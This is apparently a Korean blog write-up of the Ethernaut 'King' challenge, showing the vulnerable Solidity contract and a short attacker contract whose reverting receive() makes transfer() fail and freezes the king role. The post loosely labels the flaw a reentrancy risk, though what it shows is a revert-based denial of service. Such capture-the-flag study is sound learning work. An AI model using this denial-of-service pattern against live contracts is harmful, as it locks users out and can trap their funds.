[ethernaut] King

wooz3k.eth·2022년 12월 29일
0
post-custom-banner
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

이 문제는 king 권한을 계속 가질 수 있냐를 보여주면 풀리는 문제이다. receive() 함수를 확인해보면 이더를 받았을 때 기존 king에게 돈을 보내주고, king이 바뀌게 된다.

하지만 처음 컨트렉트를 배포한 owner는 언제든지 king 권한을 뻈어 올 수 있다. 하지만 문제는 receive() 함수에 패턴에서 발생한다. 이더를 송금하는 경우 송금받는 컨트렉트에 fallback으로 컨트롤 플로우가 넘어가게 되는데 이때 'Checks Effects Interactions' 패턴으로 구현하지 않을 경우 reentry 공격에 취약할 수 있다.

위 문제에서는 king, prize에 값을 transfer 이후에 바꾸기 때문에 악의적인 컨트렉트가 king 컨트렉트의 작동을 멈추게할 수 있다.

contract Attack {

    function atk(address target) public payable{
        address(target).call{value: msg.value}("");
    }
    receive() external payable {
        revert();
    }
}

다음과 같은 악의적인 컨트렉트를 만들어 문제를 해결 할 수 있다.

atk(address) 함수로 king 권한을 획득하고, fallback은 revert()로 구현하여 transfer() 함수가 실패하게 만들면 transfer() 함수는 또 다시 revert()를 뱉어 작동을 멈출 수 있다. 만약 transfer()함수가 아니라 call() 함수인 경우 실패를 하더라도 나머지 코드는 실행되는 특성이 존재하는데 transfer() 함수여서 이 공격이 성공될 수 있었다.

profile
Theori ChainLight Web3 Researcher
post-custom-banner

0개의 댓글